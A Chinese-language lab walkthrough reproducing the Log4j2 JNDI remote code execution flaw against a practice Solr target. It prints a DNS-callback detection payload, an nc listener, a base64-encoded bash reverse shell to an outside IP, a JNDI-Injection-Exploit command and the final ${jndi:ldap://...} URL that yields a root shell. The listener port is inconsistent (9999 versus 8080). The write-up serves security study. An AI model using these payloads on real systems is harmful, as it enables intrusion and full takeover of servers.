前言
log4j2 是Apache的⼀个java⽇志框架,我们借助它进⾏⽇志相关操作管理,然⽽在2021年末
log4j2爆出了远程代码执⾏漏洞,属于严重等级的漏洞。
String a = "变量输⼊"LOGGER.info("⽇志信息:{}",a);
我们通过这样的语句输出了⼀句⽇志信息,其中{}的部分由我们传进去的变量决定,当然⼀般我们传进去的都是⼀些很普通的语句,所以不会出什么问题。但如果我们往⾥⾯传⼀些别的代码呢,⽐如传⼀个${java.os}这样的语句,执⾏后可以看到它执⾏了java.os的内容把我们操作系统的信息显示出来了,看到这⾥很多⼈⽴⻢想到:这⾥可能会存在注⼊攻击,类似我们熟悉的XSS注⼊、SQL注⼊等等。当然这⾥输⼊的信息因为是⽇志的信息,⽤户是看不到的,所以显示了也没啥影响,但是实际上这⾥是存在着JNID注⼊的。
在这里我进行一次漏洞复现,我用的方法有两个前提条件,1、要有一个公网上的有公网IP的服务器,2、你要有JNDI-Injection-Exploit-1.0-SNAPSHOT-all(没有的话从网上下载一个)
漏洞复现步骤
验证是否存在漏洞
首先,进去靶场长这样
我们利用dnslog.cn网站,这个网站可以生成一个域名,当有人访问这个域名或者他的子域名时,网站里会有记录。我们生成一个域名,可以看到是zr6zgf.dnslog.cn
可以看到此时是没有记录的,我们在靶场url后输入/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.zr6zgf.dnslog.cn},这句话的意思是访问${sys:java.version}.zr6zgf.dnslog.cn,其中${sys:java.version}会被解析成java版本,回车
dnslog.cn网站显示如下,可以看到确实有访问的记录,并且Java版本也可以看出来。
这证明确实存在漏洞,那好我们接下来继续深入
一、上传JNDI-Injection-Exploit-1.0-SNAPSHOT-all
把JNDI-Injection-Exploit-1.0-SNAPSHOT-all上传到自己服务器上
二、监听端口
新开一个界面,输入nc -lvnp 9999,这个命令的意思是持续监听8080端口
如果是第一次用nc可能会找不到命令,用yum install nc 下载一下就好了
三、生成恶意代码
我们这里用的是反弹shell,先构造反弹shell语句:bash -i >& /dev/tcp/59.110.83.22/8080 0>&1
这里IP地址就填刚刚配置的服务器地址,IP斜杠后面写刚刚监听的端口号
把语句base64编码,在线base64编码有的不准确,大家记得多找几个对照一下
编码结果是:YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODA4MCAwPiYx
构造命令模板:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,经过base64编码后的命令}|{base64,-d}|{bash,-i}" -A "你的ip"
套用到这里就是
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODA4MCAwPiYx}|{base64,-d}|{bash,-i}" -A "59.110.83.22"
咱们把这个命令放到服务器上执行,JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar在哪个目录就在哪个目录执行,第一次可能没有java,yum install java下载一下就可以了
执行出来以后可以看到构造出了五个,咱们选JDK 1.8的ldap:
构造:/solr/admin/cores?action=${jndi:ldap://59.110.83.22:1389/ar5mr7}
把JDK 1.8的ldap:填到对应位置
四、getshell
把这个东西复制粘贴到靶场url后面,回车。
再看我们服务器的监听页面,getshell了,而且还是root权限。